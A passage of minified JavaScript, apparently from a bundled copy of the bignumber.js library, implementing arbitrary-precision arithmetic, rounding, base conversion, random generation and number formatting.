GA,OA,t,XA,VA,vA,RA,fA,LA=this;if(!(LA instanceof a))return new a(AA,wA);if(wA==null){if(AA&&AA._isBigNumber===!0){if(LA.s=AA.s,!AA.c||AA.e>r)LA.c=LA.e=null;else if(AA.e<d)LA.c=[LA.e=0];else LA.e=AA.e,LA.c=AA.c.slice();return}if((vA=typeof AA=="number")&&AA*0==0){if(LA.s=1/AA<0?(AA=-AA,-1):1,AA===~~AA){for(XA=0,VA=AA;VA>=10;VA/=10,XA++);if(XA>r)LA.c=LA.e=null;else LA.e=XA,LA.c=[AA];return}fA=String(AA)}else{if(!q.test(fA=String(AA)))return x(LA,fA,vA);LA.s=fA.charCodeAt(0)==45?(fA=fA.slice(1),-1):1}if((XA=fA.indexOf("."))>-1)fA=fA.replace(".","");if((VA=fA.search(/e/i))>0){if(XA<0)XA=VA;XA+=+fA.slice(VA+1),fA=fA.substring(0,VA)}else if(XA<0)XA=fA.length}else{if(M(wA,2,HA.length,"Base"),wA==10&&_A)return LA=new a(AA),hA(LA,b+LA.e+1,F);if(fA=String(AA),vA=typeof AA=="number"){if(AA*0!=0)return x(LA,fA,vA,wA);if(LA.s=1/AA<0?(fA=fA.slice(1),-1):1,a.DEBUG&&fA.replace(/^0\.0*|\./,"").length>15)throw Error(H+AA)}else LA.s=fA.charCodeAt(0)===45?(fA=fA.slice(1),-1):1;GA=HA.slice(0,wA),XA=VA=0;for(RA=fA.length;VA<RA;VA++)if(GA.indexOf(OA=fA.charAt(VA))<0){if(OA=="."){if(VA>XA){XA=RA;continue}}else if(!t){if(fA==fA.toUpperCase()&&(fA=fA.toLowerCase())||fA==fA.toLowerCase()&&(fA=fA.toUpperCase())){t=!0,VA=-1,XA=0;continue}}return x(LA,String(AA),vA,wA)}if(vA=!1,fA=R(fA,wA,10,LA.s),(XA=fA.indexOf("."))>-1)fA=fA.replace(".","");else XA=fA.length}for(VA=0;fA.charCodeAt(VA)===48;VA++);for(RA=fA.length;fA.charCodeAt(--RA)===48;);if(fA=fA.slice(VA,++RA)){if(RA-=VA,vA&&a.DEBUG&&RA>15&&(AA>X||AA!==z(AA)))throw Error(H+LA.s*AA);if((XA=XA-VA-1)>r)LA.c=LA.e=null;else if(XA<d)LA.c=[LA.e=0];else{if(LA.e=XA,LA.c=[],VA=(XA+1)%O,XA<0)VA+=O;if(VA<RA){if(VA)LA.c.push(+fA.slice(0,VA));for(RA-=O;VA<RA;)LA.c.push(+fA.slice(VA,VA+=O));VA=O-(fA=fA.slice(VA)).length}else VA-=RA;for(;VA--;fA+="0");LA.c.push(+fA)}}else LA.c=[LA.e=0]}a.clone=Z,a.ROUND_UP=0,a.ROUND_DOWN=1,a.ROUND_CEIL=2,a.ROUND_FLOOR=3,a.ROUND_HALF_UP=4,a.ROUND_HALF_DOWN=5,a.ROUND_HALF_EVEN=6,a.ROUND_HALF_CEIL=7,a.ROUND_HALF_FLOOR=8,a.EUCLID=9,a.config=a.set=function(AA){var wA,GA;if(AA!=null)if(typeof AA=="object"){if(AA.hasOwnProperty(wA="DECIMAL_PLACES"))GA=AA[wA],M(GA,0,G,wA),b=GA;if(AA.hasOwnProperty(wA="ROUNDING_MODE"))GA=AA[wA],M(GA,0,8,wA),F=GA;if(AA.hasOwnProperty(wA="EXPONENTIAL_AT"))if(GA=AA[wA],GA&&GA.pop)M(GA[0],-G,0,wA),M(GA[1],0,G,wA),Q=GA[0],u=GA[1];else M(GA,-G,G,wA),Q=-(u=GA<0?-GA:GA);if(AA.hasOwnProperty(wA="RANGE"))if(GA=AA[wA],GA&&GA.pop)M(GA[0],-G,-1,wA),M(GA[1],1,G,wA),d=GA[0],r=GA[1];else if(M(GA,-G,G,wA),GA)d=-(r=GA<0?-GA:GA);else throw Error(w+wA+" cannot be zero: "+GA);if(AA.hasOwnProperty(wA="CRYPTO"))if(GA=AA[wA],GA===!!GA)if(GA)if(typeof crypto<"u"&&crypto&&(crypto.getRandomValues||crypto.randomBytes))c=GA;else throw c=!GA,Error(w+"crypto unavailable");else c=GA;else throw Error(w+wA+" not true or false: "+GA);if(AA.hasOwnProperty(wA="MODULO_MODE"))GA=AA[wA],M(GA,0,9,wA),YA=GA;if(AA.hasOwnProperty(wA="POW_PRECISION"))GA=AA[wA],M(GA,0,G,wA),e=GA;if(AA.hasOwnProperty(wA="FORMAT"))if(GA=AA[wA],typeof GA=="object")qA=GA;else throw Error(w+wA+" not an object: "+GA);if(AA.hasOwnProperty(wA="ALPHABET"))if(GA=AA[wA],typeof GA=="string"&&!/^.?$|[+\-.\s]|(.).*\1/.test(GA))_A=GA.slice(0,10)=="0123456789",HA=GA;else throw Error(w+wA+" invalid: "+GA)}else throw Error(w+"Object expected: "+AA);return{DECIMAL_PLACES:b,ROUNDING_MODE:F,EXPONENTIAL_AT:[Q,u],RANGE:[d,r],CRYPTO:c,MODULO_MODE:YA,POW_PRECISION:e,FORMAT:qA,ALPHABET:HA}},a.isBigNumber=function(AA){if(!AA||AA._isBigNumber!==!0)return!1;if(!a.DEBUG)return!0;var wA,GA,OA=AA.c,t=AA.e,XA=AA.s;A:if({}.toString.call(OA)=="[object Array]"){if((XA===1||XA===-1)&&t>=-G&&t<=G&&t===z(t)){if(OA[0]===0){if(t===0&&OA.length===1)return!0;break A}if(wA=(t+1)%O,wA<1)wA+=O;if(String(OA[0]).length==wA){for(wA=0;wA<OA.length;wA++)if(GA=OA[wA],GA<0||GA>=J||GA!==z(GA))break A;if(GA!==0)return!0}}}else if(OA===null&&t===null&&(XA===null||XA===1||XA===-1))return!0;throw Error(w+"Invalid BigNumber: "+AA)},a.maximum=a.max=function(){return jA(arguments,-1)},a.minimum=a.min=function(){return jA(arguments,1)},a.random=function(){var AA=9007199254740992,wA=Math.random()*AA&2097151?function(){return z(Math.random()*AA)}:function(){return(Math.random()*1073741824|0)*8388608+(Math.random()*8388608|0)};return function(GA){var OA,t,XA,VA,vA,RA=0,fA=[],LA=new a(B);if(GA==null)GA=b;else M(GA,0,G);if(VA=Y(GA/O),c)if(crypto.getRandomValues){OA=crypto.getRandomValues(new Uint32Array(VA*=2));for(;RA<VA;)if(vA=OA[RA]*131072+(OA[RA+1]>>>11),vA>=9000000000000000)t=crypto.getRandomValues(new Uint32Array(2)),OA[RA]=t[0],OA[RA+1]=t[1];else fA.push(vA%100000000000000),RA+=2;RA=VA/2}else if(crypto.randomBytes){OA=crypto.randomBytes(VA*=7);for(;RA<VA;)if(vA=(OA[RA]&31)*281474976710656+OA[RA+1]*1099511627776+OA[RA+2]*4294967296+OA[RA+3]*16777216+(OA[RA+4]<<16)+(OA[RA+5]<<8)+OA[RA+6],vA>=9000000000000000)crypto.randomBytes(7).copy(OA,RA);else fA.push(vA%100000000000000),RA+=7;RA=VA/7}else throw c=!1,Error(w+"crypto unavailable");if(!c){for(;RA<VA;)if(vA=wA(),vA<9000000000000000)fA[RA++]=vA%100000000000000}if(VA=fA[--RA],GA%=O,VA&&GA)vA=$[O-GA],fA[RA]=z(VA/vA)*vA;for(;fA[RA]===0;fA.pop(),RA--);if(RA<0)fA=[XA=0];else{for(XA=-1;fA[0]===0;fA.splice(0,1),XA-=O);for(RA=1,vA=fA[0];vA>=10;vA/=10,RA++);if(RA<O)XA-=O-RA}return LA.e=XA,LA.c=fA,LA}}(),a.sum=function(){var AA=1,wA=arguments,GA=new a(wA[0]);for(;AA<wA.length;)GA=GA.plus(wA[AA++]);return GA},R=function(){var AA="0123456789";function wA(GA,OA,t,XA){var VA,vA=[0],RA,fA=0,LA=GA.length;for(;fA<LA;){for(RA=vA.length;RA--;vA[RA]*=OA);vA[0]+=XA.indexOf(GA.charAt(fA++));for(VA=0;VA<vA.length;VA++)if(vA[VA]>t-1){if(vA[VA+1]==null)vA[VA+1]=0;vA[VA+1]+=vA[VA]/t|0,vA[VA]%=t}}return vA.reverse()}return function(GA,OA,t,XA,VA){var vA,RA,fA,LA,SA,xA,iA,lA,v1=GA.indexOf("."),I1=b,Q1=F;if(v1>=0)LA=e,e=0,GA=GA.replace(".",""),lA=new a(OA),xA=lA.pow(GA.length-v1),e=LA,lA.c=wA(N(D(xA.c),xA.e,"0"),10,t,AA),lA.e=lA.c.length;iA=wA(GA,OA,t,VA?(vA=HA,AA):(vA=AA,HA)),fA=LA=iA.length;for(;iA[--LA]==0;iA.pop());if(!iA[0])return vA.charAt(0);if(v1<0)--fA;else xA.c=iA,xA.e=fA,xA.s=XA,xA=C(xA,lA,I1,Q1,t),iA=xA.c,SA=xA.r,fA=xA.e;if(RA=fA+I1+1,v1=iA[RA],LA=t/2,SA=SA||RA<0||iA[RA+1]!=null,SA=Q1<4?(v1!=null||SA)&&(Q1==0||Q1==(xA.s<0?3:2)):v1>LA||v1==LA&&(Q1==4||SA||Q1==6&&iA[RA-1]&1||Q1==(xA.s<0?8:7)),RA<1||!iA[0])GA=SA?N(vA.charAt(1),-I1,vA.charAt(0)):vA.charAt(0);else{if(iA.length=RA,SA){for(--t;++iA[--RA]>t;)if(iA[RA]=0,!RA)++fA,iA=[1].concat(iA)}for(LA=iA.length;!iA[--LA];);for(v1=0,GA="";v1<=LA;GA+=vA.charAt(iA[v1++]));GA=N(GA,fA,vA.charAt(0))}return GA}}(),C=function(){function AA(OA,t,XA){var VA,vA,RA,fA,LA=0,SA=OA.length,xA=t%_,iA=t/_|0;for(OA=OA.slice();SA--;)RA=OA[SA]%_,fA=OA[SA]/_|0,VA=iA*RA+fA*xA,vA=xA*RA+VA%_*_+LA,LA=(vA/XA|0)+(VA/_|0)+iA*fA,OA[SA]=vA%XA;if(LA)OA=[LA].concat(OA);return OA}function wA(OA,t,XA,VA){var vA,RA;if(XA!=VA)RA=XA>VA?1:-1;else for(vA=RA=0;vA<XA;vA++)if(OA[vA]!=t[vA]){RA=OA[vA]>t[vA]?1:-1;break}return RA}function GA(OA,t,XA,VA){var vA=0;for(;XA--;)OA[XA]-=vA,vA=OA[XA]<t[XA]?1:0,OA[XA]=vA*VA+OA[XA]-t[XA];for(;!OA[0]&&OA.length>1;OA.splice(0,1));}return function(OA,t,XA,VA,vA){var RA,fA,LA,SA,xA,iA,lA,v1,I1,Q1,B1,C6,w1,$1,N1,A6,c1,w6=OA.s==t.s?1:-1,DA=OA.c,EA=t.c;if(!DA||!DA[0]||!EA||!EA[0])return new a(!OA.s||!t.s||(DA?EA&&DA[0]==EA[0]:!EA)?NaN:DA&&DA[0]==0||!EA?w6*0:w6/0);if(v1=new a(w6),I1=v1.c=[],fA=OA.e-t.e,w6=XA+fA+1,!vA)vA=J,fA=W(OA.e/O)-W(t.e/O),w6=w6/O|0;for(LA=0;EA[LA]==(DA[LA]||0);LA++);if(EA[LA]>(DA[LA]||0))fA--;if(w6<0)I1.push(1),SA=!0;else{if($1=DA.length,A6=EA.length,LA=0,w6+=2,xA=z(vA/(EA[0]+1)),xA>1)EA=AA(EA,xA,vA),DA=AA(DA,xA,vA),A6=EA.length,$1=DA.length;w1=A6,Q1=DA.slice(0,A6),B1=Q1.length;for(;B1<A6;Q1[B1++]=0);if(c1=EA.slice(),c1=[0].concat(c1),N1=EA[0],EA[1]>=vA/2)N1++;do{if(xA=0,RA=wA(EA,Q1,A6,B1),RA<0){if(C6=Q1[0],A6!=B1)C6=C6*vA+(Q1[1]||0);if(xA=z(C6/N1),xA>1){if(xA>=vA)xA=vA-1;iA=AA(EA,xA,vA),lA=iA.length,B1=Q1.length;while(wA(iA,Q1,lA,B1)==1)xA--,GA(iA,A6<lA?c1:EA,lA,vA),lA=iA.length,RA=1}else{if(xA==0)RA=xA=1;iA=EA.slice(),lA=iA.length}if(lA<B1)iA=[0].concat(iA);if(GA(Q1,iA,B1,vA),B1=Q1.length,RA==-1)while(wA(EA,Q1,A6,B1)<1)xA++,GA(Q1,A6<B1?c1:EA,B1,vA),B1=Q1.length}else if(RA===0)xA++,Q1=[0];if(I1[LA++]=xA,Q1[0])Q1[B1++]=DA[w1]||0;else Q1=[DA[w1]],B1=1}while((w1++<$1||Q1[0]!=null)&&w6--);if(SA=Q1[0]!=null,!I1[0])I1.splice(0,1)}if(vA==J){for(LA=1,w6=I1[0];w6>=10;w6/=10,LA++);hA(v1,XA+(v1.e=LA+fA*O-1)+1,VA,SA)}else v1.e=fA,v1.r=+SA;return v1}}();function JA(AA,wA,GA,OA){var t,XA,VA,vA,RA;if(GA==null)GA=F;else M(GA,0,8);if(!AA.c)return AA.toString();if(t=AA.c[0],VA=AA.e,wA==null)RA=D(AA.c),RA=OA==1||OA==2&&(VA<=Q||VA>=u)?f(RA,VA):N(RA,VA,"0");else if(AA=hA(new a(AA),wA,GA),XA=AA.e,RA=D(AA.c),vA=RA.length,OA==1||OA==2&&(wA<=XA||XA<=Q)){for(;vA<wA;RA+="0",vA++);RA=f(RA,XA)}else if(wA-=VA,RA=N(RA,XA,"0"),XA+1>vA){if(--wA>0)for(RA+=".";wA--;RA+="0");}else if(wA+=XA-vA,wA>0){if(XA+1==vA)RA+=".";for(;wA--;RA+="0");}return AA.s<0&&t?"-"+RA:RA}function jA(AA,wA){var GA,OA,t=1,XA=new a(AA[0]);for(;t<AA.length;t++)if(OA=new a(AA[t]),!OA.s||(GA=j(XA,OA))===wA||GA===0&&XA.s===wA)XA=OA;return XA}function MA(AA,wA,GA){var OA=1,t=wA.length;for(;!wA[--t];wA.pop());for(t=wA[0];t>=10;t/=10,OA++);if((GA=OA+GA*O-1)>r)AA.c=AA.e=null;else if(GA<d)AA.c=[AA.e=0];else AA.e=GA,AA.c=wA;return AA}x=function(){var AA=/^(-?)0([xbo])(?=\w[\w.]*$)/i,wA=/^([^.]+)\.$/,GA=/^\.([^.]+)$/,OA=/^-?(Infinity|NaN)$/,t=/^\s*\+(?=[\w.])|^\s+|\s+$/g;return function(XA,VA,vA,RA){var fA,LA=vA?VA:VA.replace(t,"");if(OA.test(LA))XA.s=isNaN(LA)?null:LA<0?-1:1;else{if(!vA){if(LA=LA.replace(AA,function(SA,xA,iA){return fA=(iA=iA.toLowerCase())=="x"?16:iA=="b"?2:8,!RA||RA==fA?xA:SA}),RA)fA=RA,LA=LA.replace(wA,"$1").replace(GA,"0.$1");if(VA!=LA)return new a(LA,fA)}if(a.DEBUG)throw Error(w+"Not a"+(RA?" base "+RA:"")+" number: "+VA);XA.s=null}XA.c=XA.e=null}}();function hA(AA,wA,GA,OA){var t,XA,VA,vA,RA,fA,LA,SA=AA.c,xA=$;if(SA){A:{for(t=1,vA=SA[0];vA>=10;vA/=10,t++);if(XA=wA-t,XA<0)XA+=O,VA=wA,RA=SA[fA=0],LA=z(RA/xA[t-VA-1]%10);else if(fA=Y((XA+1)/O),fA>=SA.length)if(OA){for(;SA.length<=fA;SA.push(0));RA=LA=0,t=1,XA%=O,VA=XA-O+1}else break A;else{RA=vA=SA[fA];for(t=1;vA>=10;vA/=10,t++);XA%=O,VA=XA-O+t,LA=VA<0?0:z(RA/xA[t-VA-1]%10)}if(OA=OA||wA<0||SA[fA+1]!=null||(VA<0?RA:RA%xA[t-VA-1]),OA=GA<4?(LA||OA)&&(GA==0||GA==(AA.s<0?3:2)):LA>5||LA==5&&(GA==4||OA||GA==6&&(XA>0?VA>0?RA/xA[t-VA]:0:SA[fA-1])%10&1||GA==(AA.s<0?8:7)),wA<1||!SA[0]){if(SA.length=0,OA)wA-=AA.e+1,SA[0]=xA[(O-wA%O)%O],AA.e=-wA||0;else SA[0]=AA.e=0;return AA}if(XA==0)SA.length=fA,vA=1,fA--;else SA.length=fA+1,vA=xA[O-XA],SA[fA]=VA>0?z(RA/xA[t-VA]%xA[VA])*vA:0;if(OA)for(;;)if(fA==0){for(XA=1,VA=SA[0];VA>=10;VA/=10,XA++);VA=SA[0]+=vA;for(vA=1;VA>=10;VA/=10,vA++);if(XA!=vA){if(AA.e++,SA[0]==J)SA[0]=1}break}else{if(SA[fA]+=vA,SA[fA]!=J)break;SA[fA--]=0,vA=1}for(XA=SA.length;SA[--XA]===0;SA.pop());}if(AA.e>r)AA.c=AA.e=null;else if(AA.e<d)AA.c=[AA.e=0]}return AA}function yA(AA){var wA,GA=AA.e;if(GA===null)return AA.toString();return wA=D(AA.c),wA=GA<=Q||GA>=u?f(wA,GA):N(wA,GA,"0"),AA.s<0?"-"+wA:wA}if(y.absoluteValue=y.abs=function(){var AA=new a(this);if(AA.s<0)AA.s=1;return AA},y.comparedTo=function(AA,wA){return j(this,new a(AA,wA))},y.decimalPlaces=y.dp=function(AA,wA){var GA,OA,t,XA=this;if(AA!=null){if(M(AA,0,G),wA==null)wA=F;else M(wA,0,8);return hA(new a(XA),AA+XA.e+1,wA)}if(!(GA=XA.c))return null;if(OA=((t=GA.length-1)-W(this.e/O))*O,t=GA[t])for(;t%10==0;t/=10,OA--);if(OA<0)OA=0;return OA},y.dividedBy=y.div=function(AA,wA){return C(this,new a(AA,wA),b,F)},y.dividedToIntegerBy=y.idiv=function(AA,wA){return C(this,new a(AA,wA),0,1)},y.exponentiatedBy=y.pow=function(AA,wA){var GA,OA,t,XA,VA,vA,RA,fA,LA,SA=this;if(AA=new a(AA),AA.c&&!AA.isInteger())throw Error(w+"Exponent not an integer: "+yA(AA));if(wA!=null)wA=new a(wA);if(vA=AA.e>14,!SA.c||!SA.c[0]||SA.c[0]==1&&!SA.e&&SA.c.length==1||!AA.c||!AA.c[0])return LA=new a(Math.pow(+yA(SA),vA?AA.s*(2-P(AA)):+yA(AA))),wA?LA.mod(wA):LA;if(RA=AA.s<0,wA){if(wA.c?!wA.c[0]:!wA.s)return new a(NaN);if(OA=!RA&&SA.isInteger()&&wA.isInteger(),OA)SA=SA.mod(wA)}else if(AA.e>9&&(SA.e>0||SA.e<-1||(SA.e==0?SA.c[0]>1||vA&&SA.c[1]>=240000000:SA.c[0]<80000000000000||vA&&SA.c[0]<=99999750000000))){if(XA=SA.s<0&&P(AA)?-0:0,SA.e>-1)XA=1/XA;return new a(RA?1/XA:XA)}else if(e)XA=Y(e/O+2);if(vA){if(GA=new a(0.5),RA)AA.s=1;fA=P(AA)}else t=Math.abs(+yA(AA)),fA=t%2;LA=new a(B);for(;;){if(fA){if(LA=LA.times(SA),!LA.c)break;if(XA){if(LA.c.length>XA)LA.c.length=XA}else if(OA)LA=LA.mod(wA)}if(t){if(t=z(t/2),t===0)break;fA=t%2}else if(AA=AA.times(GA),hA(AA,AA.e+1,1),AA.e>14)fA=P(AA);else{if(t=+yA(AA),t===0)break;fA=t%2}if(SA=SA.times(SA),XA){if(SA.c&&SA.c.length>XA)SA.c.length=XA}else if(OA)SA=SA.mod(wA)}if(OA)return LA;if(RA)LA=B.div(LA);return wA?LA.mod(wA):XA?hA(LA,e,F,VA):LA},y.integerValue=function(AA){var wA=new a(this);if(AA==null)AA=F;else M(AA,0,8);return hA(wA,wA.e+1,AA)},y.isEqualTo=y.eq=function(AA,wA){return j(this,new a(AA,wA))===0},y.isFinite=function(){return!!this.c},y.isGreaterThan=y.gt=function(AA,wA){return j(this,new a(AA,wA))>0},y.isGreaterThanOrEqualTo=y.gte=function(AA,wA){return(wA=j(this,new a(AA,wA)))===1||wA===0},y.isInteger=function(){return!!this.c&&W(this.e/O)>this.c.length-2},y.isLessThan=y.lt=function(AA,wA){return j(this,new a(AA,wA))<0},y.isLessThanOrEqualTo=y.lte=function(AA,wA){return(wA=j(this,new a(AA,wA)))===-1||wA===0},y.isNaN=function(){return!this.s},y.isNegative=function(){return this.s<0},y.isPositive=function(){return this.s>0},y.isZero=function(){return!!this.c&&this.c[0]==0},y.minus=function(AA,wA){var GA,OA,t,XA,VA=this,vA=VA.s;if(AA=new a(AA,wA),wA=AA.s,!vA||!wA)return new a(NaN);if(vA!=wA)return AA.s=-wA,VA.plus(AA);var RA=VA.e/O,fA=AA.e/O,LA=VA.c,SA=AA.c;if(!RA||!fA){if(!LA||!SA)return LA?(AA.s=-wA,AA):new a(SA?VA:NaN);if(!LA[0]||!SA[0])return SA[0]?(AA.s=-wA,AA):new a(LA[0]?VA:F==3?-0:0)}if(RA=W(RA),fA=W(fA),LA=LA.slice(),vA=RA-fA){if(XA=vA<0)vA=-vA,t=LA;else fA=RA,t=SA;t.reverse();for(wA=vA;wA--;t.push(0));t.reverse()}else{OA=(XA=(vA=LA.length)<(wA=SA.length))?vA:wA;for(vA=wA=0;wA<OA;wA++)if(LA[wA]!=SA[wA]){XA=LA[wA]<SA[wA];break}}if(XA)t=LA,LA=SA,SA=t,AA.s=-AA.s;if(wA=(OA=SA.length)-(GA=LA.length),wA>0)for(;wA--;LA[GA++]=0);wA=J-1;for(;OA>vA;){if(LA[--OA]<SA[OA]){for(GA=OA;GA&&!LA[--GA];LA[GA]=wA);--LA[GA],LA[OA]+=J}LA[OA]-=SA[OA]}for(;LA[0]==0;LA.splice(0,1),--fA);if(!LA[0])return AA.s=F==3?-1:1,AA.c=[AA.e=0],AA;return MA(AA,LA,fA)},y.modulo=y.mod=function(AA,wA){var GA,OA,t=this;if(AA=new a(AA,wA),!t.c||!AA.s||AA.c&&!AA.c[0])return new a(NaN);else if(!AA.c||t.c&&!t.c[0])return new a(t);if(YA==9)OA=AA.s,AA.s=1,GA=C(t,AA,0,3),AA.s=OA,GA.s*=OA;else GA=C(t,AA,0,YA);if(AA=t.minus(GA.times(AA)),!AA.c[0]&&YA==1)AA.s=t.s;return AA},y.multipliedBy=y.times=function(AA,wA){var GA,OA,t,XA,VA,vA,RA,fA,LA,SA,xA,iA,lA,v1,I1,Q1=this,B1=Q1.c,C6=(AA=new a(AA,wA)).c;if(!B1||!C6||!B1[0]||!C6[0]){if(!Q1.s||!AA.s||B1&&!B1[0]&&!C6||C6&&!C6[0]&&!B1)AA.c=AA.e=AA.s=null;else if(AA.s*=Q1.s,!B1||!C6)AA.c=AA.e=null;else AA.c=[0],AA.e=0;return AA}if(OA=W(Q1.e/O)+W(AA.e/O),AA.s*=Q1.s,RA=B1.length,SA=C6.length,RA<SA)lA=B1,B1=C6,C6=lA,t=RA,RA=SA,SA=t;for(t=RA+SA,lA=[];t--;lA.push(0));v1=J,I1=_;for(t=SA;--t>=0;){GA=0,xA=C6[t]%I1,iA=C6[t]/I1|0;for(VA=RA,XA=t+VA;XA>t;)fA=B1[--VA]%I1,LA=B1[VA]/I1|0,vA=iA*fA+LA*xA,fA=xA*fA+vA%I1*I1+lA[XA]+GA,GA=(fA/v1|0)+(vA/I1|0)+iA*LA,lA[XA--]=fA%v1;lA[XA]=GA}if(GA)++OA;else lA.splice(0,1);return MA(AA,lA,OA)},y.negated=function(){var AA=new a(this);return AA.s=-AA.s||null,AA},y.plus=function(AA,wA){var GA,OA=this,t=OA.s;if(AA=new a(AA,wA),wA=AA.s,!t||!wA)return new a(NaN);if(t!=wA)return AA.s=-wA,OA.minus(AA);var XA=OA.e/O,VA=AA.e/O,vA=OA.c,RA=AA.c;if(!XA||!VA){if(!vA||!RA)return new a(t/0);if(!vA[0]||!RA[0])return RA[0]?AA:new a(vA[0]?OA:t*0)}if(XA=W(XA),VA=W(VA),vA=vA.slice(),t=XA-VA){if(t>0)VA=XA,GA=RA;else t=-t,GA=vA;GA.reverse();for(;t--;GA.push(0));GA.reverse()}if(t=vA.length,wA=RA.length,t-wA<0)GA=RA,RA=vA,vA=GA,wA=t;for(t=0;wA;)t=(vA[--wA]=vA[wA]+RA[wA]+t)/J|0,vA[wA]=J===vA[wA]?0:vA[wA]%J;if(t)vA=[t].concat(vA),++VA;return MA(AA,vA,VA)},y.precision=y.sd=function(AA,wA){var GA,OA,t,XA=this;if(AA!=null&&AA!==!!AA){if(M(AA,1,G),wA==null)wA=F;else M(wA,0,8);return hA(new a(XA),AA,wA)}if(!(GA=XA.c))return null;if(t=GA.length-1,OA=t*O+1,t=GA[t]){for(;t%10==0;t/=10,OA--);for(t=GA[0];t>=10;t/=10,OA++);}if(AA&&XA.e+1>OA)OA=XA.e+1;return OA},y.shiftedBy=function(AA){return M(AA,-X,X),this.times("1e"+AA)},y.squareRoot=y.sqrt=function(){var AA,wA,GA,OA,t,XA=this,VA=XA.c,vA=XA.s,RA=XA.e,fA=b+4,LA=new a("0.5");if(vA!==1||!VA||!VA[0])return new a(!vA||vA<0&&(!VA||VA[0])?NaN:VA?XA:1/0);if(vA=Math.sqrt(+yA(XA)),vA==0||vA==1/0){if(wA=D(VA),(wA.length+RA)%2==0)wA+="0";if(vA=Math.sqrt(+wA),RA=W((RA+1)/2)-(RA<0||RA%2),vA==1/0)wA="5e"+RA;else wA=vA.toExponential(),wA=wA.slice(0,wA.indexOf("e")+1)+RA;GA=new a(wA)}else GA=new a(vA+"");if(GA.c[0]){if(RA=GA.e,vA=RA+fA,vA<3)vA=0;for(;;)if(t=GA,GA=LA.times(t.plus(C(XA,t,fA,1))),D(t.c).slice(0,vA)===(wA=D(GA.c)).slice(0,vA)){if(GA.e<RA)--vA;if(wA=wA.slice(vA-3,vA+1),wA=="9999"||!OA&&wA=="4999"){if(!OA){if(hA(t,t.e+b+2,0),t.times(t).eq(XA)){GA=t;break}}fA+=4,vA+=4,OA=1}else{if(!+wA||!+wA.slice(1)&&wA.charAt(0)=="5")hA(GA,GA.e+b+2,1),AA=!GA.times(GA).eq(XA);break}}}return hA(GA,GA.e+b+1,F,AA)},y.toExponential=function(AA,wA){if(AA!=null)M(AA,0,G),AA++;return JA(this,AA,wA,1)},y.toFixed=function(AA,wA){if(AA!=null)M(AA,0,G),AA=AA+this.e+1;return JA(this,AA,wA)},y.toFormat=function(AA,wA,GA){var OA,t=this;if(GA==null)if(AA!=null&&wA&&typeof wA=="object")GA=wA,wA=null;else if(AA&&typeof AA=="object")GA=AA,AA=wA=null;else GA=qA;else if(typeof GA!="object")throw Error(w+"Argument not an object: "+GA);if(OA=t.toFixed(AA,wA),t.c){var XA,VA=OA.split("."),vA=+GA.groupSize,RA=+GA.secondaryGroupSize,fA=GA.groupSeparator||"",LA=VA[0],SA=VA[1],xA=t.s<0,iA=xA?LA.slice(1):LA,lA=iA.length;if(RA)XA=vA,vA=RA,RA=XA,lA-=XA;if(vA>0&&lA>0){XA=lA%vA||vA,LA=iA.substr(0,XA);for(;XA<lA;XA+=vA)LA+=fA+iA.substr(XA,vA);if(RA>0)LA+=fA+iA.slice(XA);if(xA)LA="-"+LA}OA=SA?LA+(GA.decimalSeparator||"")+((RA=+GA.fractionGroupSize)?SA.replace(new RegExp("\\d{"+RA+"}\\B","g"),"$&"+(GA.fractionGroupSeparator||"")):SA):LA}return(GA.prefix||"")+OA+(GA.suffix||"")},y.toFraction=function(AA){var wA,GA,OA,t,XA,VA,vA,RA,fA,LA,SA,xA,iA=this,lA=iA.c;if(AA!=null){if(vA=new a(AA),!vA.isInteger()&&(vA.c||vA.s!==1)||vA.lt(B))throw Error(w+"Argument "+(vA.isInteger()?"out of range: ":"not an integer: ")+yA(vA))}if(!lA)return new a(iA);wA=new a(B),fA=GA=new a(B),OA=RA=new a(B),xA=D(lA),XA=wA.e=xA.length-iA.e-1,wA.c[0]=$[(VA=XA%O)<0?O+VA:VA],AA=!AA||vA.comparedTo(wA)>0?XA>0?wA:fA:vA,VA=r,r=1/0,vA=new a(xA),RA.c[0]=0;for(;;){if(LA=C(vA,wA,0,1),t=GA.plus(LA.times(OA)),t.comparedTo(AA)==1)break;GA=OA,OA=t,fA=RA.plus(LA.times(t=fA)),RA=t,wA=vA.minus(LA.times(t=wA)),vA=t}return t=C(AA.minus(GA),OA,0,1),RA=RA.plus(t.times(fA)),GA=GA.plus(t.times(OA)),RA.s=fA.s=iA.s,XA=XA*2,SA=C(fA,OA,XA,F).minus(iA).abs().comparedTo(C(RA,GA,XA,F).minus(iA).abs())<1?[fA,OA]:[RA,GA],r=VA,SA},y.toNumber=function(){return+yA(this)},y.toPrecision=function(AA,wA){if(AA!=null)M(AA,1,G);return JA(this,AA,wA,2)},y.toString=function(AA){var wA,GA=this,OA=GA.s,t=GA.e;if(t===null)if(OA){if(wA="Infinity",OA<0)wA="-"+wA}else wA="NaN";else{if(AA==null)wA=t<=Q||t>=u?f(D(GA.c),t):N(D(GA.c),t,"0");else if(AA===10&&_A)GA=hA(new a(GA),b+t+1,F),wA=N(D(GA.c),GA.e,"0");else M(AA,2,HA.length,"Base"),wA=R(N(D(GA.c),t,"0"),10,AA,OA,!0);if(OA<0&&GA.c[0])wA="-"+wA}return wA},y.valueOf=y.toJSON=function(){return yA(this)},y._isBigNumber=!0,T!=null)a.set(T);return a}function W(T){var C=T|0;return T>0||T===C?C:C-1}function D(T){var C,R,x=1,y=T.length,B=T[0]+"";for(;x<y;){C=T[x++]+"",R=O-C.length;for(;R--;C="0"+C);B+=C}for(y=B.length;B.charCodeAt(--y)===48;);return B.slice(0,y+1||1)}function j(T,C){var R,x,y=T.c,B=C.c,b=T.s,F=C.s,Q=T.e,u=C.e;if(!b||!F)return null;if(R=y&&!y[0],x=B&&!B[0],R||x)return R?x?0:-F:b;if(b!=F)return b;if(R=b<0,x=Q==u,!y||!B)return x?0:!y^R?1:-1;if(!x)return Q>u^R?1:-1;F=(Q=y.length)<(u=B.length)?Q:u;for(b=0;b<F;b++)if(y[b]!=B[b])return y[b]>B[b]^R?1:-1;return Q==u?0:Q>u^R?1:-1}function M(T,C,R,x){if(T<C||T>R||T!==z(T))throw Error(w+(x||"Argument")+(typeof T=="number"?T<C||T>R?" out of range: ":" not an integer: ":" not a primitive number: ")+String(T))}function P(T){var C=T.c.length-1;return W(T.e/O)==C&&T.c[C]%2!=0}function f(T,C){return(T.length>1?T.charAt(0)+"."+T.slice(1):T)+(C<0?"e":"e+")+C}function N(T,C,R){var x,y;if(C<0){for(y=R+".";++C;y+=R);T=y+T}else if(x=T.length,++C>x){for(y=R,C-=x;--C;y+=R);T+=y}else 